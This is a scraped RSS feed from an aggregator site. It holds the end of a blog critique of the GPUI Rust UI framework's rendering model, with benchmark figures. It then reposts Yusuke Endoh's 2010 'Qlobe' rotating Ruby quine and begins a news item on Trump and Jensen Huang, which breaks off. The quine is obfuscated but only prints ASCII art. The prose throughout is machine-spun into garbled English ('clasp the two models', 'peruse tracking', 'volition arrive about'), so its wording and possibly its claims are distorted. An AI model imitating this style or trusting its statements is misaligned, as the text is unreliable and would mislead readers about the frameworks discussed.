data-lang="rust"><pre><span><span><span>#</span><span>[</span><span>derive</span><span><span><span>(</span></span></span><span><span>PartialEq</span></span><span><span><span>)</span></span></span><span>]</span></span> <span><span>struct</span> </span><span><span>Counter</span></span><span>;</span> <span><span>impl</span> </span><span>Component <span>for</span></span><span> <span>Counter</span> </span><span><span><span>{</span> <span><span><span>fn</span> </span><span>render</span></span><span><span><span>(</span><span>&amp;</span><span>self</span></span><span><span><span>)</span></span></span></span><span> <span><span>-&gt;</span> impl IntoElement</span> </span><span><span><span>{</span> <span>let</span> <span>mut</span> figure <span>=</span> <span>use_state</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>|</span></span> </span><span><span>0</span></span></span><span><span>)</span></span><span>;</span> </span><span><span>}</span></span></span> </span><span><span>}</span></span></span></span></pre></div> <p>use_state exists since that row runs again. You now clasp the two models: read tracking decides which range re-runs, and afterward re-render semantics use inside it, alongside hooks, prop equality and a diff. Finer updates need smaller components, which is GPUI&rsquo;s issue at a much lesser price. What the re-running build buys is ordinary authority flow, and that is the grave objection.</p> <p>Dan Abramov makes a compelling argument. Run-once puts your rendering logic in closures, so top-level authority stream stops working, and you collection code around values and not about logic. &ldquo;The attractiveness of React is that making things &lsquo;computed&rsquo; is an optimization, not a requirement.&rdquo; He is correct concerning it. This compiles, but the archetypal row never updates:</p> <div data-lang="rust"><pre><span><span>Label<span>::</span></span>new<span><span>(</span>count<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span></span><span><span>)</span></span><span>,</span> <span>Label<span>::</span></span>derived<span><span>(</span><span>move</span> <span>||</span> count<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span></span><span><span>)</span></span><span>,</span> </span></pre></div> <p>A reactive if has to rotate into a dyn_container, and a for a dyn_stack. Solid 2.0 had to add dev warnings for top-level reads.</p> <p>But the identical comment contains the logic I district the another way. He says Solid&rsquo;s regrouping is &ldquo;Similar to how you have to restructure your code about the values whenever you optimize it alongside useMemo.&rdquo; Exactly. If your use never needs that, React&rsquo;s example may be simpler. If it does, you pay for the regrouping either way, and the lone choice is when: from the start, or later under a profiler. Ryan Carniato&rsquo;s answer is the one I concur with: &ldquo;In Solid you always compose as if the data is derived so you don&rsquo;t refactor to optimize.&rdquo; Once you cognize you desire this precision, run-once is the API that stops pretending otherwise. The nonaccomplishment modes additionally favor it. A forgotten gap goes stale on the archetypal update, in the location you wrote it. A forgotten notify depends on what alternatively happened to redraw.</p> <p>To be absolutely honest, the ecosystem&rsquo;s wider convergence is on peruse tracking in general, and not on run-once specifically. Angular considered per-binding updates and chose per-view, in writing, and it lands inside concerning 1 ms of Solid on a partial update. Apple and Google, who authority their languages, kept re-running bodies alongside @Observable and Compose. A gap is itself a re-run scope, so what differs is how big the default range is. Two things I desire to note on this though:</p> <ul> <li>First, those systems pay for their larger scopes alongside a compiler. Compose has a compiler plugin, Angular compiles templates, and React&rsquo;s compiler is the serious competitor to everything here: it keeps React&rsquo;s API and removes many needless re-renders, alongside loads up to 12% better. For Rust, I doubtful that most group that favor contiguous manner or elm (or any GPUI is) would not like the idea of an additional compiler. A proc macro lone sees tokens, not types, and render is an arbitrary function, so there is no continue that can split it into scopes. What Rust can province cheaply is a closure.</li> <li>Second, their own direction keeps describing the identical problem: &ldquo;Defer says as long as possible&rdquo; for Compose, and &ldquo;Unnecessary perspective build updates can really add up&rdquo; for SwiftUI. A example that runs the build formerly removes that category at component level.</li> </ul> <p>View-level rerun and fine-grained signals can have the identical performance ceiling. But signals advance fine-grained province projections and memoization from the beginning, for view-level rerun its an definitive choice that often leads to additional boilerplate.</p> <h2 id="signals-do-not-automatically-make-your-app-fast">Signals do not automatically create your app fast<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>Fine-grained reactivity does not create an app accelerated on its own.</p> <figure><img src="https://blog.zortax.de/images/a-critique-of-gpui/models.png" alt="Signals solitary do not flatten the curve" loading="lazy" decoding="async"><img src="https://blog.zortax.de/images/a-critique-of-gpui/models-dark.png" alt="Signals solitary do not flatten the curve" loading="lazy" decoding="async"></figure> <p>Floem&rsquo;s reactivity does exactly what it promises. Changing a tag runs 5 effects and spends 0.01 ms in reactive work, afterward concerning 14 ms in layout, because Taffy does not cognize that one leaf moved. (Floem additionally has a known bug anywhere that edit never repaints, so treat this as a floor.) Vizia runs 4 bindings, then walks all 120,091 entities, for 46 ms. Slint writes an equal value in 4 &micro;s, and takes 172 ms for a label, in a continue that walks concerning 30,000 items. Freya produces 5 mutations, afterward visits 57,050 layout nodes to recompute 14. GPUI beats most of them on this edit.</p> <p>This is the difference the disagreement depends on. All of those linear expenses are in the motor respectively. Nothing in the application&rsquo;s code requires them, so they can be fixed rearward the identical API without changing an application. zgui shows how far that goes: 0.69 ms for the tag at 3,000 rows and concerning 0.26 ms per 1,000 rows, about 12 times flatter than GPUI. It is motionless not flat, and it is my example and was tuned on this harness, so obtain these numbers alongside a grain of salt. In Iced and egui the linear disbursal is in the contract: the API says your code runs. No motor activity can eliminate that, and app code has to change. GPUI likely sits location in between, which is why gpui-fast can improve the circumstance to several extent.</p> <p>At this point, I wan&rsquo;t to portion a additional detailed benchmark matrix. Read the re-running columns downward the archetypal five rows and they barely move, since they do not depend on the edit. The indication columns move a lot, since the underlying implementations differ.</p> <figure><img src="https://blog.zortax.de/images/a-critique-of-gpui/comparison.png" alt="Re-running makes most edits disbursal the same. Signals do not" loading="lazy" decoding="async"><img src="https://blog.zortax.de/images/a-critique-of-gpui/comparison-dark.png" alt="Re-running makes most edits disbursal the same. Signals do not" loading="lazy" decoding="async"></figure> <p>The base of that grid is additionally anywhere the disbursal signals have becomes visible.</p> <ul> <li><strong>Creation.</strong> Filtering at 3,000 live rows takes 56 ms in Iced, 67 in egui and 123 in GPUI, against 371 in zgui, 835 in Floem and 982 in Freya. On a virtualized catalog it is 1.0 ms in Iced and 7.2 in zgui. &ldquo;Setting up the dependency chart is not free.&rdquo;</li> <li><strong>Memory.</strong> Resident recollection use for ample scenes is mostly higher the more a example retains.</li> <li><strong>Effects.</strong> Facebook moved distant from two-way binding since &ldquo;cascading updates&rdquo; became difficult to predict. That former is true, and Angular&rsquo;s docs still say &ldquo;Effects have to be the final API you attain for.&rdquo; Modern graphs are glitch-free. Careless effects are motionless difficult to logic concerning and quickly outcome in feedback loops or akin stuff.</li> <li><strong>Rust.</strong> Signals depend on arena handles and move closures. Levien thinks such patterns &ldquo;adapt poorly to Rust&rdquo;. I think they modify fine enough, and GPUI&rsquo;s entities are arena handles too, but, admittedly, it is not a liberated lunch.</li> </ul> <h2 id="conclusion">Conclusion<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>GPUI makes a complete example realitively cheap, and that makes it likely <em>good enough</em> for many use-cases. It is certainly adequate for an publishing company whose expensive exterior is handled by hand. For a ample use it leaves a choice: keep the API group akin and pay per view, or get precision by writing a indication chart out of entities. Elm and contiguous manner have the identical problem. Each is clearest in the small, and all loses the item it was chosen for as precision becomes necessary, and, from my individual experience, that happens faster than group expect.</p> <p>Tracked says are anywhere most of the site has ended up, any it started from. If that is anywhere we are going, I think we should commencement there, and make the component a function that runs once.</p> <h2 id="method">Method<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <ul> <li>Numbers are medians of use and resolve from my unpublished harness, on one machine: i9-13900K, RTX 3080 Ti, Vulkan, Linux. Windows, compositor and input are not included. Frameworks&rsquo; maintainers have not reviewed the adapters.</li> <li>GPUI is at ddc9eda925 and gpui-fast at 86a8228229. zgui is at 082337db. These were through September and November 2026, as the finest of three passes.</li> <li>Cells marked &dagger; in the grid unsuccessful their correctness oracle: Floem&rsquo;s tag and keystroke edits, as noted above, and Slint&rsquo;s font size. Every another charted cell passed.</li> <li>The 60-panel results are gpui-fast&rsquo;s retained_bench alongside my additions, in test mode, so no GPU activity is included. Retention off there is motionless gpui-fast.</li> <li>Figures from Zed&rsquo;s scheme are its authors&rsquo;, from experimental branches.</li> <li>Rust examples were type-checked against the vendored frameworks. Vizia&rsquo;s and Freya&rsquo;s arrive from their own sources, shortened.</li> </ul> <h2 id="references">References<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> </div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/a-critique-of-gpui-76220</guid> <pubDate>Mon, 09 Nov 2026 04:51:10 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[The Qlobe: Rotating Quine (2010)]]></title> <description><![CDATA[The Qlobe: Rotating Quine (2010). Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/the-qlobe-rotating-quine-2010-76217</link> <content:encoded><![CDATA[<div id="post-body-6314550434067746526" itemprop="description articleBody"> <p>My Quines are sometimes specialized for Japanese. But to act RubyConf, I should compose "global" Quines.</p> <pre>v=0000;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC "%.#% :::##" 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B "##% ::##########" O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? "##: ###############" g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W "# #. .####:#######" lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. " ##### # :############" R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 " #######################" 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ " ############:#### %#####" EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q " .#############:##% .## ." /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; " %% .################. #. " ;s="v=%04o;ev"% (;v=(v-($*+[45, ":####: :##############% : " ])[n=0].to_i;)% 360)+"al$s=%q#{ "%######. ######### " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ "##########. #######% " |\s|".*"/,"");; require"zlib"|| "########### :######. " ;d=d.unpack"C*" d.map{|c|n=(n|| ":#########: .######: . " )*90+(c-2)%91}; e=["%x"%n].pack " :#######% :###### #: " &amp;&amp;"H*";e=Zlib:: Inflate.inflate( " ######% .####% :: " &amp;&amp;e).unpack("b*" )[0];22.times{|y| " ####% %### " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " .###: .#% " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " %## " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " #. " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " . " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( "# :#######" ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 </pre> <p>This quine turns 45 degrees whenever executed; thus, it volition arrive about whenever executed eight times (see below). You can create it any-degree rotate by giving an entire figure as an command-line argument.</p> <pre>v=0416;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC ".#####%.#% " 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B " .#####%##% :" O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? " #####%###: #" g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W " %######## #." lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. " :####### ###" R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 " ###: : ####" 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ " %#... #####" EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q " %### .#####" /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; " :. %% .#####" ;s="v=%04o;ev"% (;v=(v-($*+[45, " :####: :####" ])[n=0].to_i;)% 360)+"al$s=%q#{ " %######. " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ " ##########. " |\s|".*"/,"");; require"zlib"|| " ########### " ;d=d.unpack"C*" d.map{|c|n=(n|| " :#########: " )*90+(c-2)%91}; e=["%x"%n].pack " :#######% " &amp;&amp;"H*";e=Zlib:: Inflate.inflate( " ######% " &amp;&amp;e).unpack("b*" )[0];22.times{|y| " ####% " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " .###: " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " %## " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " #. " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " . " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( " .##### :#" ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 v=0341;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC "#% .#####%." 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B " : %#####%##. " O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? " #####%###: " g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W " %######## " lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. " :####### " R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 " :### : " 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ " %#... " EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q " .###: " /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; " :. %% " ;s="v=%04o;ev"% (;v=(v-($*+[45, " :####: " ])[n=0].to_i;)% 360)+"al$s=%q#{ " %######. " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ " ##########" |\s|".*"/,"");; require"zlib"|| "% ##########" ;d=d.unpack"C*" d.map{|c|n=(n|| " :#########" )*90+(c-2)%91}; e=["%x"%n].pack " ########" &amp;&amp;"H*";e=Zlib:: Inflate.inflate( "#. ######%" &amp;&amp;e).unpack("b*" )[0];22.times{|y| "## :####. " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; "#. .###: " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ "% . %## " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " . #. " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " : " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( "#. .##### " ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 v=0264;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC "####% .####" 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B "##### : .#####" O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? "######. #####%" g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W "####: . %######" lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. "#### . :######" R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 "####% ###: " 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ "### %#..." EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q "## .. %###" /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; ":#. . :" ;s="v=%04o;ev"% (;v=(v-($*+[45, ": : : " ])[n=0].to_i;)% 360)+"al$s=%q#{ "% %#: " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ "#::#.: %#% " |\s|".*"/,"");; require"zlib"|| " : :#% " ;d=d.unpack"C*" d.map{|c|n=(n|| " :% : " )*90+(c-2)%91}; e=["%x"%n].pack " %###%% " &amp;&amp;"H*";e=Zlib:: Inflate.inflate( " ########. " &amp;&amp;e).unpack("b*" )[0];22.times{|y| " ########. " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " ##:%###. " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " %% . " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " . " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( "####. .###" ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 v=0207;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC "#######% .#" 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B "##########: : " O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? "#############. " g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W "############: . " lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. "############# . " R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 "############## " 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ "# %######### " EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q " %#: %##: : " /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; " #. .:#. . " ;s="v=%04o;ev"% (;v=(v-($*+[45, " : : : : " ])[n=0].to_i;)% 360)+"al$s=%q#{ " :% %#: " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ " #::#.: %#% " |\s|".*"/,"");; require"zlib"|| " : :#% " ;d=d.unpack"C*" d.map{|c|n=(n|| " :% : " )*90+(c-2)%91}; e=["%x"%n].pack " .###%# " &amp;&amp;"H*";e=Zlib:: Inflate.inflate( " ########. " &amp;&amp;e).unpack("b*" )[0];22.times{|y| " :######## " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " ##:%###. " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " %% . " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " . " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( "#######. ." ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 v=0132;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC ":::#######%" 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B "################ : " O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? "####################. " g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W " .####:############: . " lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. "# # :################# . " R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 "#######################% " 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ "######:#### %######### " EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q "#######:##% .## .### .. " /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; "##########. #. .:#. . " ;s="v=%04o;ev"% (;v=(v-($*+[45, "#########% : : : : " ])[n=0].to_i;)% 360)+"al$s=%q#{ "######### :% %#: " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ "#######% #::#.: %#% " |\s|".*"/,"");; require"zlib"|| ":######. : :#% " ;d=d.unpack"C*" d.map{|c|n=(n|| ".######: . :% : " )*90+(c-2)%91}; e=["%x"%n].pack ":###### #: %###%% " &amp;&amp;"H*";e=Zlib:: Inflate.inflate( ".####% :: ########. " &amp;&amp;e).unpack("b*" )[0];22.times{|y| " %### ########. " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " .#% ##:%###. " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " %% . " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " . " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( "##########." ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 v=0055;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC "% :::#####" 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B " .:################" O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? " ######################" g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W " #. .####:############: " lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. " ##### # :################# . " R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 " :############################ " 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ " ############:#### %######### " EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q " %############:### %#: %##: : " /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; " .################. #. .:#. . " ;s="v=%04o;ev"% (;v=(v-($*+[45, " :##############% : : : : " ])[n=0].to_i;)% 360)+"al$s=%q#{ " ######### :% %#: " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ " #######% #::#.: %#" |\s|".*"/,"");; require"zlib"|| " :######. : :" ;d=d.unpack"C*" d.map{|c|n=(n|| " .######: . :% " )*90+(c-2)%91}; e=["%x"%n].pack " ######%:# .###%" &amp;&amp;"H*";e=Zlib:: Inflate.inflate( " .####% :: ######" &amp;&amp;e).unpack("b*" )[0];22.times{|y| " .###: :#####" ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " .#% ##:%#" ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( ":##########" ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 v=0000;eval$s=%q~d=%!^Lcf&lt;LK8, _@7gj*LJ=c5nM)Tp1g0%Xv.,S[&lt;&gt;YoP 4ZojjV)O&gt;qIH1/n[|2yE[&gt;:ieC "%.#% :::##" 97N-A&amp;Kj_K_&gt;&lt;wS5rtWk@*a+Y5 yH?b[F^e7C/56j|pmRe+:)B "##% ::##########" O98(Zh)'Iof*nm.,$C5Nyt= PPu01Avw^&lt;IiQ=5$'D-y? "##: ###############" g6`YT+qLw9k^ch|K'),tc 6ygIL8xI#LNz3v}T=4W "# #. .####:#######" lL27FZ0ij)7TQCI)P7u }RT5-iJbbG5P-DHB&lt;. " ##### # :############" R,YvZ_rnv6ky-G+4U' $*are@b4U351Q-ug5 " #######################" 00x8RR%`Om7VDp4M5 PFixrPvl&amp;&lt;p[]1IJ " ############:#### %#####" EGgDt8Lm#;bc4zS^ y]0`_PstfUxOC(q " .#############:##% .## ." /,}.YOIFj(k&amp;q_V zcaAi?]^lCVYp!; " %% .################. #. " ;s="v=%04o;ev"% (;v=(v-($*+[45, ":####: :##############% : " ])[n=0].to_i;)% 360)+"al$s=%q#{ "%######. ######### " ;;"%c"%126+$s&lt;&lt; 126}";d.gsub!(/ "##########. #######% " |\s|".*"/,"");; require"zlib"|| "########### :######. " ;d=d.unpack"C*" d.map{|c|n=(n|| ":#########: .######: . " )*90+(c-2)%91}; e=["%x"%n].pack " :#######% :###### #: " &amp;&amp;"H*";e=Zlib:: Inflate.inflate( " ######% .####% :: " &amp;&amp;e).unpack("b*" )[0];22.times{|y| " ####% %### " ;w=(Math.sqrt(1-( (y*2.0-21)/22)**(; " .###: .#% " ;2))*23).floor;(w* 2-1).times{|x|u=(e+ " %## " )[y*z=360,z]*2;u=u[ 90*x/w+v+90,90/w];s[( " #. " ;y*80)+120-w+x]=(""&lt;&lt; 32&lt;&lt;".:%#")[4*u.count(( " . " ;"0"))/u.size]}};;puts\ s+";_ The Qlobe#{" "*18+ ( "# :#######" ;"Copyright(C).Yusuke End\ oh, 2010")}";exit~;_ The Qlobe Copyright(C).Yusuke Endoh, 2010 </pre> <p>translated from <a href="https://en.mycoding.id/category/technology" target="_blank">mamememo in Japanese (2010-09-05)</a>.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-qlobe-rotating-quine-2010-76217</guid> <pubDate>Mon, 09 Nov 2026 04:15:17 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[Trump reacts to the Jensen Huang affair: 'He probably has an excuse for it']]></title> <description><![CDATA[Trump reacts to the Jensen Huang affair: 'He probably has an excuse for it'. Trump stated Huang has done an 'amazing job' for the nation and should remain Nvidia's CEO.]]></description> <media:thumbnail url="https://i.insider.com/6af1303d80d4b24f183476bc?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/trump-reacts-to-the-jensen-huang-affair-he-probably-has-an-excuse-for-it-76216</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6af12fec8f37e8e0b5bab35e?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="US President Donald Trump speaks to the media upon arriving on Air Force One at Palm Beach International Airport in West Palm Beach, Florida on November 6, 2026." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Trump stated that Jensen Huang should remain on as 